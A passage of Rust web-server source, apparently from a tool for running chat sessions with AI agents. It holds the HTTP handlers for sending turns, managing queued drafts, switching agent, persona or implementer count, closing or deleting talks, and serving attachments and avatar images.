9836 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9837 let task_progress = talk_task_progress(&tasks);
9838 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9839 let goal_link_for = talk.updated_at;
9840 let tasks = tasks.into_iter().map(TaskView::from).collect();
9841 let cfg = talk.config().ok();
9842 let roster = cfg
9843 .as_ref()
9844 .map(|cfg| {
9845 cfg.agents
9846 .iter()
9847 .map(|a| RosterEntry {
9848 id: a.id.clone(),
9849 kind: a.kind,
9850 runnable: agent::installed(a),
9851 })
9852 .collect()
9853 })
9854 .unwrap_or_default();
9855 let specs = cfg
9856 .as_ref()
9857 .map(|cfg| cfg.talk.personas.clone())
9858 .unwrap_or_default();
9859 let personas = persona::catalog(&specs)
9860 .into_iter()
9861 .map(|p| PersonaEntry {
9862 avatar: avatar_url(&ui.home, &talk.id, &p),
9863 id: p.id,
9864 name: p.name,
9865 })
9866 .collect();
9867 Ok(Json(TalkDetailView {
9868 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9869 tasks,
9870 task_progress,
9871 goal_link,
9872 goal_link_for,
9873 roster,
9874 personas,
9875 }))
9876 })
9877 .await
9878}
9879
9880#[derive(Debug, Default, Deserialize)]
9886#[serde(default, deny_unknown_fields)]
9887struct NewTalkTurn {
9888 reply_to: Option<talk::ReplyTarget>,
9889 text: String,
9890 attachments: Vec<String>,
9891}
9892
9893#[derive(Debug, Deserialize)]
9894#[serde(deny_unknown_fields)]
9895struct EditTalkPending {
9896 #[serde(default)]
9897 message: Option<usize>,
9898 text: String,
9899 expected_text: String,
9900 expected_attachments: Vec<String>,
9901}
9902
9903#[derive(Debug, Deserialize)]
9904#[serde(deny_unknown_fields)]
9905struct ClearTalkPending {
9906 expected_text: String,
9907 expected_attachments: Vec<String>,
9908}
9909
9910async fn talk_say(
9922 State(ui): State<Arc<Ui>>,
9923 Path(id): Path<String>,
9924 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9925) -> ApiResult<(StatusCode, Json<TalkView>)> {
9926 let admission = ui.begin_admission()?;
9927 admitted(admission, async move {
9928 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9929 if body.text.trim().is_empty() && body.attachments.is_empty() {
9930 return Err(ApiError::bad_request("say something"));
9931 }
9932
9933 let id = {
9934 let ui = Arc::clone(&ui);
9935 let asked = id.clone();
9936 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9937 };
9938 {
9942 let ui = Arc::clone(&ui);
9943 let id = id.clone();
9944 blocking(move || {
9945 let talk = ui.talks.get(&id)?;
9946 if !talk.status.open() {
9947 return Err(ApiError::conflict(format!(
9948 "talk {} is {} and takes no more turns",
9949 talk.short(),
9950 talk.status.as_str()
9951 )));
9952 }
9953 Ok(())
9954 })
9955 .await?;
9956 }
9957
9958 let attachments = {
9963 let ui = Arc::clone(&ui);
9964 let id = id.clone();
9965 let ids = body.attachments.clone();
9966 blocking(move || {
9967 ids.into_iter()
9968 .map(|att_id| {
9969 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9970 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9971 })
9972 })
9973 .collect::<ApiResult<Vec<talk::Attachment>>>()
9974 })
9975 .await?
9976 };
9977 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9978 .await.map_err(ApiError::from)?;
9979
9980 let start = {
9985 let ui = Arc::clone(&ui);
9986 let id = id.clone();
9987 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9988 };
9989 let turn_guard = match start {
9990 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9991 TalkTurnStart::Pending => {
9992 return Err(ApiError::conflict(
9993 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9994 ));
9995 }
9996 TalkTurnStart::Foreign => {
9997 return Err(ApiError::conflict(
9998 "a turn is already running in another process; try again when it has finished",
9999 ));
10000 }
10001 TalkTurnStart::Busy => {
10002 let (tx, rx) = tokio::sync::oneshot::channel();
10018 tokio::spawn({
10019 let ui = Arc::clone(&ui);
10020 let id = id.clone();
10021 let said = body.text.clone();
10022 let reply_to = body.reply_to.clone();
10023 async move {
10024 let written = blocking({
10025 let ui = Arc::clone(&ui);
10026 let id = id.clone();
10027 move || {
10028 let mut talk = ui.talks.get(&id)?;
10029 #[cfg(test)]
10034 if let Some(gate) = ui
10035 .busy_queue_gate
10036 .lock()
10037 .unwrap_or_else(PoisonError::into_inner)
10038 .take()
10039 {
10040 let _ = gate.reached.send(());
10041 let _ = gate.release.recv();
10042 }
10043 if let Err(error) = talk::queue_reply(
10044 &mut talk,
10045 &ui.talks,
10046 &said,
10047 attachments,
10048 reply_to,
10049 ) {
10050 if let Ok(fresh) = ui.talks.get(&id) {
10051 if !fresh.status.open() {
10052 return Err(ApiError::conflict(format!(
10053 "talk {} is {} and takes no more turns",
10054 fresh.short(),
10055 fresh.status.as_str()
10056 )));
10057 }
10058 }
10059 return Err(
10060 if error.to_string().contains("invalid reply target") {
10061 ApiError::bad_request("invalid reply target")
10062 } else {
10063 ApiError::from(error)
10064 },
10065 );
10066 }
10067 let claim = match ui.begin_queued_talk_turn(&id)? {
10078 Some(turn_guard) => {
10079 let cfg = talk.config()?;
10080 Some((talk.clone(), cfg, turn_guard))
10081 }
10082 None => None,
10083 };
10084 let thinking = ui.is_thinking(&id);
10085 Ok((TalkView::new(talk, thinking, &ui), claim))
10086 }
10087 })
10088 .await;
10089 #[cfg(not(test))]
10090 {
10091 match written {
10092 Ok((view, reclaimed)) => {
10093 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10094 drop(reclaimed);
10095 match launched {
10096 Ok(_) => { let _ = tx.send(Ok(view)); }
10097 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10098 }
10099 }
10100 Err(error) => { let _ = tx.send(Err(error)); }
10101 }
10102 }
10103 #[cfg(test)]
10104 {
10105 let (view, reclaimed) = match written {
10106 Ok(pair) => pair,
10107 Err(e) => {
10108 let _ = tx.send(Err(e));
10113 return;
10114 }
10115 };
10116 let _ = tx.send(Ok(view));
10119 if let Some((talk, cfg, turn_guard)) = reclaimed {
10120 let talks = ui.talks.clone();
10121 drain_loop(talk, talks, cfg, id, turn_guard).await;
10122 }
10123 }
10124 }
10125 });
10126 let view = rx
10127 .await
10128 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10129 return Ok((StatusCode::ACCEPTED, Json(view)));
10130 }
10131 };
10132
10133 let (talk, cfg) = {
10134 let ui = Arc::clone(&ui);
10135 let id = id.clone();
10136 blocking(move || {
10137 let talk = ui.talks.get(&id)?;
10138 let cfg = talk.config()?;
10139 Ok((talk, cfg))
10140 })
10141 .await?
10142 };
10143
10144 let talks = ui.talks.clone();
10145 let (tx, rx) = tokio::sync::oneshot::channel();
10160 tokio::spawn({
10161 #[cfg(test)]
10162 let ui = Arc::clone(&ui);
10163 let talks = talks.clone();
10164 let id = id.clone();
10165 let said = body.text.clone();
10166 let reply_to = body.reply_to.clone();
10167 let mut talk = talk.clone();
10168 async move {
10169 let recorded = blocking({
10170 let talks = talks.clone();
10171 move || {
10172 if let Err(error) =
10173 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10174 {
10175 if let Ok(fresh) = talks.get(&talk.id) {
10176 if !fresh.status.open() {
10177 return Err(ApiError::conflict(format!(
10178 "talk {} is {} and takes no more turns",
10179 fresh.short(),
10180 fresh.status.as_str()
10181 )));
10182 }
10183 }
10184 return Err(if error.to_string().contains("invalid reply target") {
10185 ApiError::bad_request("invalid reply target")
10186 } else {
10187 ApiError::from(error)
10188 });
10189 }
10190 Ok((said.trim().to_owned(), talk))
10196 }
10197 })
10198 .await;
10199 let (text, talk) = match recorded {
10200 Ok(pair) => pair,
10201 Err(e) => {
10202 let _ = tx.send(Err(e));
10206 return;
10207 }
10208 };
10209 #[cfg(not(test))]
10210 {
10211 let _ = (&cfg, &text);
10212 let result = crate::chat_worker::spawn_recorded_turn(
10216 &talks, &id, talk.turns.len() - 1,
10217 ).await;
10218 drop(turn_guard);
10219 match result {
10220 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10221 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10222 }
10223 }
10224 #[cfg(test)]
10225 {
10226 let queued = talk.clone();
10227 let mut talk = talk;
10228 let thinking = ui.is_thinking(&id);
10229 let _ = tx.send(Ok((queued, thinking)));
10232
10233 let turn_index = talk.turns.len() - 1;
10234 if let Err(e) = turn_guard
10235 .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10236 .await
10237 {
10238 tracing::warn!("talk {id} turn failed: {e:#}");
10242 }
10243 drain_loop(talk, talks, cfg, id, turn_guard).await;
10246 }
10247 }
10248 });
10249
10250 let (queued, thinking) = rx
10251 .await
10252 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10253
10254 Ok((
10256 StatusCode::ACCEPTED,
10257 Json(TalkView::new(queued, thinking, &ui)),
10258 ))
10259 }).await
10260}
10261
10262async fn talk_pending_resume(
10266 State(ui): State<Arc<Ui>>,
10267 Path(id): Path<String>,
10268) -> ApiResult<(StatusCode, Json<TalkView>)> {
10269 let admission = ui.begin_admission()?;
10270 admitted(admission, async move {
10271 let id = {
10272 let ui = Arc::clone(&ui);
10273 let asked = id.clone();
10274 blocking(move || resolve_talk(&ui.talks, &asked)).await?
10275 };
10276 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10277 .await
10278 .map_err(ApiError::from)?;
10279 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10280 return Err(ApiError::conflict(
10281 "a talk turn is already running; the queued draft will be handled by it",
10282 ));
10283 };
10284 let (talk, cfg) = {
10285 let ui = Arc::clone(&ui);
10286 let id = id.clone();
10287 blocking(move || {
10288 let talk = ui.talks.get(&id)?;
10289 if !talk.status.open() {
10290 return Err(ApiError::conflict(format!(
10291 "talk {} is {} and takes no more turns",
10292 talk.short(),
10293 talk.status.as_str()
10294 )));
10295 }
10296 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10297 return Err(ApiError::conflict("there is no queued draft to resume"));
10298 }
10299 let cfg = talk.config()?;
10300 Ok((talk, cfg))
10301 })
10302 .await?
10303 };
10304 let view = TalkView::new(talk.clone(), true, &ui);
10305 let talks = ui.talks.clone();
10306 #[cfg(not(test))]
10307 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10308 #[cfg(test)]
10309 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10310 Ok((StatusCode::ACCEPTED, Json(view)))
10311 })
10312 .await
10313}
10314
10315#[cfg(not(test))]
10318async fn detach_talk_turn(
10319 _talk: Talk,
10320 talks: Talks,
10321 _cfg: Config,
10322 id: String,
10323 turn: TalkTurnGuard,
10324) -> ApiResult<()> {
10325 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10326 drop(turn);
10327 launched.map(|_| ()).map_err(ApiError::from)
10328}
10329
10330#[cfg(test)]
10331async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10332 drain_loop_started(talk, talks, cfg, id, turn, None).await;
10333}
10334
10335async fn settle_settings_turn(
10339 talk: Talk,
10340 talks: Talks,
10341 cfg: Config,
10342 id: String,
10343 turn: TalkTurnGuard,
10344 observed: u64,
10345) -> bool {
10346 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10347 let turns = Arc::clone(&turn.turns);
10348 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10349 if live.queued.get(&id).copied().unwrap_or(0) == observed {
10350 turn.release(&mut live);
10352 return false;
10353 }
10354 }
10355 let (started, settled) = tokio::sync::oneshot::channel();
10356 tokio::spawn(drain_loop_started(
10357 talk,
10358 talks,
10359 cfg,
10360 id,
10361 turn,
10362 Some(started),
10363 ));
10364 settled.await.unwrap_or(false)
10365}
10366
10367#[cfg(not(test))]
10368async fn drain_loop_started(
10369 talk: Talk,
10370 talks: Talks,
10371 _cfg: Config,
10372 id: String,
10373 turn: TalkTurnGuard,
10374 started: Option<tokio::sync::oneshot::Sender<bool>>,
10375) {
10376 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10377 let running = if pending {
10378 match crate::chat_worker::spawn_turn(&talks, &id).await {
10379 Ok(_) => true,
10380 Err(error) => {
10381 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10382 false
10383 }
10384 }
10385 } else {
10386 false
10387 };
10388 drop(turn);
10389 if let Some(started) = started {
10390 let _ = started.send(running);
10391 }
10392}
10393
10394#[cfg(test)]
10397async fn drain_loop_started(
10398 mut talk: Talk,
10399 talks: Talks,
10400 cfg: Config,
10401 id: String,
10402 turn: TalkTurnGuard,
10403 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10404) {
10405 let live_set = Arc::clone(&turn.turns);
10406 let mut turn = Some(turn);
10414 loop {
10415 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10416 tracing::warn!("talk {id} lost its turn lease; not draining further");
10419 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10420 if let Some(turn) = turn.take() {
10421 turn.release(&mut live);
10422 }
10423 break;
10424 }
10425 let observed = live_set
10429 .lock()
10430 .unwrap_or_else(PoisonError::into_inner)
10431 .queued
10432 .get(&id)
10433 .copied()
10434 .unwrap_or(0);
10435 let drained = blocking({
10436 let talks = talks.clone();
10437 move || {
10438 let result = talk::drain_indexed(&mut talk, &talks);
10439 Ok((talk, result))
10440 }
10441 })
10442 .await;
10443 let (next_talk, result) = match drained {
10444 Ok(drained) => drained,
10445 Err(e) => {
10446 tracing::warn!(
10447 status = %e.status,
10448 message = %e.message,
10449 "talk {id} could not start queued-text drain"
10450 );
10451 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10452 turn.take()
10453 .expect("held for the whole loop until released here")
10454 .release(&mut live);
10455 break;
10456 }
10457 };
10458 talk = next_talk;
10459 let (drained, drained_index) = match result {
10460 Ok(Some(drained)) => drained,
10461 Ok(None) => {
10462 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10463 if live.queued.get(&id).copied().unwrap_or(0) != observed {
10464 continue;
10465 }
10466 turn.take()
10467 .expect("held for the whole loop until released here")
10468 .release(&mut live);
10469 break;
10470 }
10471 Err(e) => {
10472 tracing::warn!("talk {id} could not drain queued text: {e:#}");
10473 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10474 turn.take()
10475 .expect("held for the whole loop until released here")
10476 .release(&mut live);
10477 break;
10478 }
10479 };
10480 if let Some(started) = started.take() {
10481 let _ = started.send(true);
10482 }
10483 let responded = match turn.as_ref() {
10484 Some(turn) => {
10485 turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10486 .await
10487 }
10488 None => Err(anyhow::anyhow!("the turn guard was released")),
10489 };
10490 if let Err(e) = responded {
10491 tracing::warn!("talk {id} turn failed: {e:#}");
10492 }
10493 }
10494 drop(turn);
10495 if let Some(started) = started {
10496 let _ = started.send(false);
10497 }
10498}
10499
10500async fn talk_pending_clear(
10502 State(ui): State<Arc<Ui>>,
10503 Path(id): Path<String>,
10504 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10505) -> ApiResult<Json<TalkView>> {
10506 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10507 blocking(move || {
10508 let id = resolve_talk(&ui.talks, &id)?;
10509 let mut talk = ui.talks.get(&id)?;
10510 if !talk.status.open() {
10511 return Err(ApiError::conflict(format!(
10512 "talk {} is {} and takes no more turns",
10513 talk.short(),
10514 talk.status.as_str()
10515 )));
10516 }
10517 if !talk::clear_pending_if_matches(
10518 &mut talk,
10519 &ui.talks,
10520 &body.expected_text,
10521 &body.expected_attachments,
10522 )? {
10523 return Err(ApiError::conflict(
10524 "queued message changed; reload it before clearing",
10525 ));
10526 }
10527 let thinking = ui.is_thinking(&talk.id);
10528 Ok(Json(TalkView::new(talk, thinking, &ui)))
10529 })
10530 .await
10531}
10532
10533async fn talk_pending_edit(
10537 State(ui): State<Arc<Ui>>,
10538 Path(id): Path<String>,
10539 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10540) -> ApiResult<Json<TalkView>> {
10541 let admission = ui.begin_admission()?;
10542 admitted(admission, async move {
10543 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10544 let id = {
10545 let ui = Arc::clone(&ui);
10546 blocking(move || resolve_talk(&ui.talks, &id)).await?
10547 };
10548 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10549 .await
10550 .map_err(ApiError::from)?;
10551 let (view, reclaimed) = blocking({
10552 let ui = Arc::clone(&ui);
10553 move || {
10554 let mut talk = ui.talks.get(&id)?;
10555 if !talk.status.open() {
10556 return Err(ApiError::conflict(format!(
10557 "talk {} is {} and takes no more turns",
10558 talk.short(),
10559 talk.status.as_str()
10560 )));
10561 }
10562 if !talk::edit_pending_message(
10563 &mut talk,
10564 &ui.talks,
10565 &body.text,
10566 &body.expected_text,
10567 &body.expected_attachments,
10568 body.message,
10569 )? {
10570 return Err(ApiError::conflict(
10571 "queued message changed; reload it before editing",
10572 ));
10573 }
10574 let claim = match ui.begin_queued_talk_turn(&id)? {
10575 Some(turn_guard) => {
10576 let cfg = talk.config()?;
10577 Some((talk.clone(), cfg, id.clone(), turn_guard))
10578 }
10579 None => None,
10580 };
10581 let thinking = ui.is_thinking(&id);
10582 Ok((TalkView::new(talk, thinking, &ui), claim))
10583 }
10584 })
10585 .await?;
10586 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10587 let talks = ui.talks.clone();
10588 #[cfg(not(test))]
10589 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10590 #[cfg(test)]
10591 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10592 }
10593 Ok(Json(view))
10594 })
10595 .await
10596}
10597
10598fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10600 if talk.status.open() {
10601 return Ok(());
10602 }
10603 Err(ApiError::conflict(format!(
10604 "talk {} is {} and takes no more turns",
10605 talk.short(),
10606 talk.status.as_str()
10607 )))
10608}
10609
10610#[derive(Debug, Deserialize)]
10612struct TalkAgent {
10613 agent: String,
10614}
10615
10616async fn talk_agent(
10621 State(ui): State<Arc<Ui>>,
10622 Path(id): Path<String>,
10623 Json(body): Json<TalkAgent>,
10624) -> ApiResult<Json<TalkView>> {
10625 let admission = ui.begin_admission()?;
10626 admitted(admission, async move {
10627 let id = {
10628 let ui = Arc::clone(&ui);
10629 blocking(move || resolve_talk(&ui.talks, &id)).await?
10630 };
10631 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10632 .await
10633 .map_err(ApiError::from)?;
10634 let cfg = {
10635 let ui = Arc::clone(&ui);
10636 let id = id.clone();
10637 blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10638 };
10639 {
10641 let ui = Arc::clone(&ui);
10642 let id = id.clone();
10643 let cfg = cfg.clone();
10644 let wanted = body.agent.clone();
10645 blocking(move || {
10646 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10647 .map_err(ApiError::bad_request_from)?;
10648 refuse_if_closed(&ui.talks.get(&id)?)
10649 })
10650 .await?;
10651 }
10652 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10653 return Err(ApiError::conflict(
10654 "a talk turn is running; change the agent once it has answered",
10655 ));
10656 };
10657 let switched = {
10658 let ui = Arc::clone(&ui);
10659 let id = id.clone();
10660 let cfg = cfg.clone();
10661 blocking(move || {
10662 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10663 .map_err(ApiError::bad_request_from)?;
10664 let mut talk = ui.talks.get(&id)?;
10665 if !talk.status.open() {
10666 return Err(ApiError::conflict(format!(
10667 "talk {} is {} and takes no more turns",
10668 talk.short(),
10669 talk.status.as_str()
10670 )));
10671 }
10672 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10673 Ok(talk)
10674 })
10675 .await
10676 };
10677 let observed = ui.queued_generation(&id);
10682 let fresh = {
10683 let ui = Arc::clone(&ui);
10684 let id = id.clone();
10685 blocking(move || Ok(ui.talks.get(&id)?)).await
10686 };
10687 let draining = match fresh {
10688 Ok(talk) => {
10689 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10690 }
10691 Err(_) => false,
10692 };
10693 let talk = switched?;
10694 Ok(Json(TalkView::new(talk, draining, &ui)))
10695 })
10696 .await
10697}
10698
10699#[derive(Debug, Deserialize)]
10701struct TalkPersona {
10702 persona: String,
10703}
10704
10705async fn talk_persona(
10709 State(ui): State<Arc<Ui>>,
10710 Path(id): Path<String>,
10711 Json(body): Json<TalkPersona>,
10712) -> ApiResult<Json<TalkView>> {
10713 let admission = ui.begin_admission()?;
10714 admitted(admission, async move {
10715 let id = {
10716 let ui = Arc::clone(&ui);
10717 blocking(move || resolve_talk(&ui.talks, &id)).await?
10718 };
10719 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10720 .await
10721 .map_err(ApiError::from)?;
10722 let cfg = {
10723 let ui = Arc::clone(&ui);
10724 let id = id.clone();
10725 blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10726 };
10727 {
10729 let ui = Arc::clone(&ui);
10730 let id = id.clone();
10731 let cfg = cfg.clone();
10732 let wanted = body.persona.clone();
10733 blocking(move || {
10734 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10735 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10736 }
10737 refuse_if_closed(&ui.talks.get(&id)?)
10738 })
10739 .await?;
10740 }
10741 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10742 return Err(ApiError::conflict(
10743 "a talk turn is running; change the persona once it has answered",
10744 ));
10745 };
10746 let switched = {
10747 let ui = Arc::clone(&ui);
10748 let id = id.clone();
10749 let cfg = cfg.clone();
10750 blocking(move || {
10751 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10752 return Err(ApiError::bad_request(format!(
10753 "unknown persona `{}`",
10754 body.persona
10755 )));
10756 };
10757 let mut talk = ui.talks.get(&id)?;
10758 if !talk.status.open() {
10759 return Err(ApiError::conflict(format!(
10760 "talk {} is {} and takes no more turns",
10761 talk.short(),
10762 talk.status.as_str()
10763 )));
10764 }
10765 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10766 Ok(talk)
10767 })
10768 .await
10769 };
10770 let observed = ui.queued_generation(&id);
10772 let fresh = {
10773 let ui = Arc::clone(&ui);
10774 let id = id.clone();
10775 blocking(move || Ok(ui.talks.get(&id)?)).await
10776 };
10777 let draining = match fresh {
10778 Ok(talk) => {
10779 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10780 }
10781 Err(_) => false,
10782 };
10783 let talk = switched?;
10784 Ok(Json(TalkView::new(talk, draining, &ui)))
10785 })
10786 .await
10787}
10788
10789#[derive(Debug, Deserialize)]
10791struct TalkImplementers {
10792 implementers: u8,
10793}
10794
10795async fn talk_implementers(
10799 State(ui): State<Arc<Ui>>,
10800 Path(id): Path<String>,
10801 Json(body): Json<TalkImplementers>,
10802) -> ApiResult<Json<TalkView>> {
10803 let admission = ui.begin_admission()?;
10804 admitted(admission, async move {
10805 let id = {
10806 let ui = Arc::clone(&ui);
10807 blocking(move || resolve_talk(&ui.talks, &id)).await?
10808 };
10809 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10810 .await
10811 .map_err(ApiError::from)?;
10812 let cfg = {
10813 let ui = Arc::clone(&ui);
10814 let id = id.clone();
10815 blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10816 };
10817 {
10822 let ui = Arc::clone(&ui);
10823 let id = id.clone();
10824 let cfg = cfg.clone();
10825 let wanted = body.implementers;
10826 blocking(move || {
10827 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10828 refuse_if_closed(&ui.talks.get(&id)?)
10829 })
10830 .await?;
10831 }
10832 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10833 return Err(ApiError::conflict(
10834 "a talk turn is running; change the implementers once it has answered",
10835 ));
10836 };
10837 let switched = {
10838 let ui = Arc::clone(&ui);
10839 let id = id.clone();
10840 let cfg = cfg.clone();
10841 blocking(move || {
10842 let chosen = talk::check_implementers(body.implementers, &cfg)
10843 .map_err(ApiError::bad_request)?;
10844 let mut talk = ui.talks.get(&id)?;
10845 if !talk.status.open() {
10846 return Err(ApiError::conflict(format!(
10847 "talk {} is {} and takes no more turns",
10848 talk.short(),
10849 talk.status.as_str()
10850 )));
10851 }
10852 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10853 Ok(talk)
10854 })
10855 .await
10856 };
10857 let observed = ui.queued_generation(&id);
10859 let fresh = {
10860 let ui = Arc::clone(&ui);
10861 let id = id.clone();
10862 blocking(move || Ok(ui.talks.get(&id)?)).await
10863 };
10864 let draining = match fresh {
10865 Ok(talk) => {
10866 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10867 }
10868 Err(_) => false,
10869 };
10870 let talk = switched?;
10871 Ok(Json(TalkView::new(talk, draining, &ui)))
10872 })
10873 .await
10874}
10875
10876async fn talk_close(
10878 State(ui): State<Arc<Ui>>,
10879 Path(id): Path<String>,
10880) -> ApiResult<Json<TalkView>> {
10881 blocking(move || {
10882 let id = resolve_talk(&ui.talks, &id)?;
10883 let mut talk = ui.talks.get(&id)?;
10884 talk::close(&mut talk, &ui.talks).map_err(|error| {
10885 if error.is::<talk::ClosePendingInput>() {
10886 ApiError::conflict(format!("{error:#}"))
10887 } else {
10888 ApiError::from(error)
10889 }
10890 })?;
10891 let thinking = ui.is_thinking(&talk.id);
10892 Ok(Json(TalkView::new(talk, thinking, &ui)))
10893 })
10894 .await
10895}
10896
10897async fn talk_reopen(
10899 State(ui): State<Arc<Ui>>,
10900 Path(id): Path<String>,
10901) -> ApiResult<Json<TalkView>> {
10902 blocking(move || {
10903 let id = resolve_talk(&ui.talks, &id)?;
10904 let mut talk = ui.talks.get(&id)?;
10905 talk::reopen(&mut talk, &ui.talks)?;
10906 let thinking = ui.is_thinking(&talk.id);
10907 Ok(Json(TalkView::new(talk, thinking, &ui)))
10908 })
10909 .await
10910}
10911
10912async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10922 blocking(move || {
10923 let id = resolve_talk(&ui.talks, &id)?;
10924 ui.talks.remove(&id)?;
10925 Ok(StatusCode::NO_CONTENT)
10926 })
10927 .await
10928}
10929
10930fn talk_ids(root: &FsPath) -> Vec<String> {
10931 std::fs::read_dir(root)
10932 .into_iter()
10933 .flatten()
10934 .flatten()
10935 .filter_map(|e| {
10936 let path = e.path();
10937 if path.extension().is_some_and(|ext| ext == "json") {
10938 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10939 } else {
10940 None
10941 }
10942 })
10943 .collect()
10944}
10945
10946fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10948 if plain_record_id(id) && store.path_of(id).is_file() {
10949 return Ok(id.to_owned());
10950 }
10951 pick(talk_ids(store.root()), id, "talk")
10952}
10953
10954async fn talk_attachment_post(
10957 State(ui): State<Arc<Ui>>,
10958 Path(id): Path<String>,
10959 headers: HeaderMap,
10960 body: Bytes,
10961) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10962 let mime = validate_attachment(&headers, &body)?;
10963 let name = filename_header(&headers);
10964 let data = body.to_vec();
10965 blocking(move || {
10966 let id = resolve_talk(&ui.talks, &id)?;
10967 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10968 Ok((StatusCode::CREATED, Json(att)))
10969 })
10970 .await
10971}
10972
10973async fn talk_attachment_get(
10976 State(ui): State<Arc<Ui>>,
10977 Path((id, att)): Path<(String, String)>,
10978) -> ApiResult<Response> {
10979 blocking(move || {
10980 let id = resolve_talk(&ui.talks, &id)?;
10981 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10982 return Err(ApiError::not_found(format!(
10983 "talk {id} has no attachment `{att}`"
10984 )));
10985 };
10986 Ok(attachment_response(&meta.mime, data))
10987 })
10988 .await
10989}
10990
10991fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10994 let id = avatar_encode(&p.id);
10995 format!(
10996 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10997 persona_icon::fingerprint(
10998 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10999 )
11000 )
11001}
11002
11003#[derive(Debug, Default, Deserialize)]
11004struct AvatarQuery {
11005 persona: Option<String>,
11006 builtin: Option<String>,
11008}
11009
11010const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
11012
11013fn builtin_avatar(id: &str) -> Response {
11014 svg_avatar(persona_icon::builtin_svg(id))
11015}
11016
11017async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11018 raster_or_builtin(
11019 read_icon_file(&avatar_setting_path(&ui.home, None))
11020 .filter(|_| q.builtin.is_none())
11021 .as_deref(),
11022 persona_icon::operator_svg(),
11023 )
11024}
11025
11026fn svg_avatar(svg: &'static str) -> Response {
11027 (
11028 [
11029 (header::CONTENT_TYPE, "image/svg+xml"),
11030 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11031 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
11032 (header::CACHE_CONTROL, "no-cache"),
11033 ],
11034 svg,
11035 )
11036 .into_response()
11037}
11038
11039fn avatar_encode(value: &str) -> String {
11040 value
11041 .bytes()
11042 .map(|b| {
